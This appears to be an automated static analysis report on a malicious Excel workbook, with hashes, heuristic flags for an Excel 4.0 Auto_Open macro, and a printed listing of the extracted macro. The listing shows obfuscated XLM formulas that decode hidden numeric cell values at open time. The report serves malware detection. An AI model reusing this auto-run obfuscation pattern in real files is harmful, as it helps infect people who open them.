Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b52ed52366893b4…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:44:24 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 7d3e39e4b801e4f14f80bef98a2905fa SHA-1: 7efe6d48189ec6f80a2bf9c74e2f724ff8dda257 SHA-256: 5b52ed52366893b4c818c80ba62df1f9d8f6f9263c4e1ac84b8bb33d35d196c7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6875 bytes
SHA-256: 9c72a899d682d342222c7e279edad6cabd6cd4ecab663682ce55119809619970
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VhtYYlVwC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B137 
' 0018     27 LABEL : Cell Value, String Constant - bpVbbbrsVfsD len=0 
' 0018     21 LABEL : Cell Value, String Constant - BTNZSf len=0 
' 0018     20 LABEL : Cell Value, String Constant - DeeEN len=0 
' 0018     26 LABEL : Cell Value, String Constant - DlgYafctEjK len=0 
' 0018     24 LABEL : Cell Value, String Constant - GaBQMktRE len=0 
' 0018     20 LABEL : Cell Value, String Constant - GgIpv len=0 
' 0018     25 LABEL : Cell Value, String Constant - HLKgOqcLGr len=0 
' 0018     25 LABEL : Cell Value, String Constant - IoMoGHRZaJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - IvyYa len=0 
' 0018     20 LABEL : Cell Value, String Constant - JNPlt len=0 
' 0018     20 LABEL : Cell Value, String Constant - nSuLv len=0 
' 0018     24 LABEL : Cell Value, String Constant - OTaeypIjf len=0 
' 0018     22 LABEL : Cell Value, String Constant - qYEAapz len=0 
' 0018     24 LABEL : Cell Value, String Constant - RgCncOgHV len=0 
' 0018     20 LABEL : Cell Value, String Constant - rWrhs len=0 
' 0018     23 LABEL : Cell Value, String Constant - tmlXjBWs len=0 
' 0018     23 LABEL : Cell Value, String Constant - TXwNbXrR len=0 
' 0018     27 LABEL : Cell Value, String Constant - UvuOKqDOIGXS len=0 
' 0018     26 LABEL : Cell Value, String Constant - xQSmGcioZQS len=0 
' 0018     23 LABEL : Cell Value, String Constant - zjuVTClC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VhtYYlVwC,B43,"SET.NAME("IoMoGHRZaJ",0+VALUE("0"))",""
'  VhtYYlVwC,B46,"SET.NAME("HLKgOqcLGr",IoMoGHRZaJ)",""
'  VhtYYlVwC,B48,"SET.NAME("bpVbbbrsVfsD",IoMoGHRZaJ)",""
'  VhtYYlVwC,B52,"SET.NAME("GaBQMktRE",COUNTA(IvyYa))",""
'  VhtYYlVwC,B55,"SET.NAME("qYEAapz",COUNTA(tmlXjBWs))",""
'  VhtYYlVwC,B60,[],""
'  VhtYYlVwC,B65,"SET.NAME("TXwNbXrR","")",""
'  VhtYYlVwC,B67,"HLKgOqcLGr",""
'  VhtYYlVwC,B70,"SET.NAME("UvuOKqDOIGXS",HLOOKUP("*",IvyYa,HLKgOqcLGr,FALSE))",""
'  VhtYYlVwC,B74,"zjuVTClC",""
'  VhtYYlVwC,B77,"SET.NAME("DlgYafctEjK",IoMoGHRZaJ)",""
'  VhtYYlVwC,B80,[],""
'  VhtYYlVwC,B85,"DlgYafctEjK",""
'  VhtYYlVwC,B90,"BTNZSf",""
'  VhtYYlVwC,B94,"xQSmGcioZQS",""
'  VhtYYlVwC,P94,"",-481.00000000000000000000
'  VhtYYlVwC,P95,"",860.00000000000000000000
'  VhtYYlVwC,P96,"",-790.00000000000000000000
'  VhtYYlVwC,P97,"",-818.00000000000000000000
'  VhtYYlVwC,B98,"nSuLv",""
'  VhtYYlVwC,P98,"",778.00000000000000000000
'  VhtYYlVwC,P99,"",-182.00000000000000000000
'  VhtYYlVwC,B101,"SET.NAME("rWrhs",VALUE(HLOOKUP("*",tmlXjBWs,nSuLv,FALSE)))",""
'  VhtYYlVwC,B103,"RgCncOgHV",""
'  VhtYYlVwC,B108,"TXwNbXrR",""
'  VhtYYlVwC,B111,"bpVbbbrsVfsD",""
'  VhtYYlVwC,B113,NEXT(),""
'  VhtYYlVwC,B118,"OTaeypIjf",""
'  VhtYYlVwC,B122,[],""
'  VhtYYlVwC,B125,"JNPlt",""
'  VhtYYlVwC,B129,NEXT(),""
'  VhtYYlVwC,B132,RETURN(),""
'  VhtYYlVwC,B160,"SET.NAME("DeeEN",B43)",""
'  VhtYYlVwC,B164,"IvyYa",""
'  VhtYYlVwC,B168,"SET.NAME("tmlXjBWs",R44C13)",""
'  VhtYYlVwC,B170,"SET.NAME("JNPlt",177)",""
'  VhtYYlVwC,B172,"SET.NAME("GgIpv",2)",""
'  VhtYYlVwC,B176,DeeEN(),""
'  VhtYYlVwC,B177,HALT(),""

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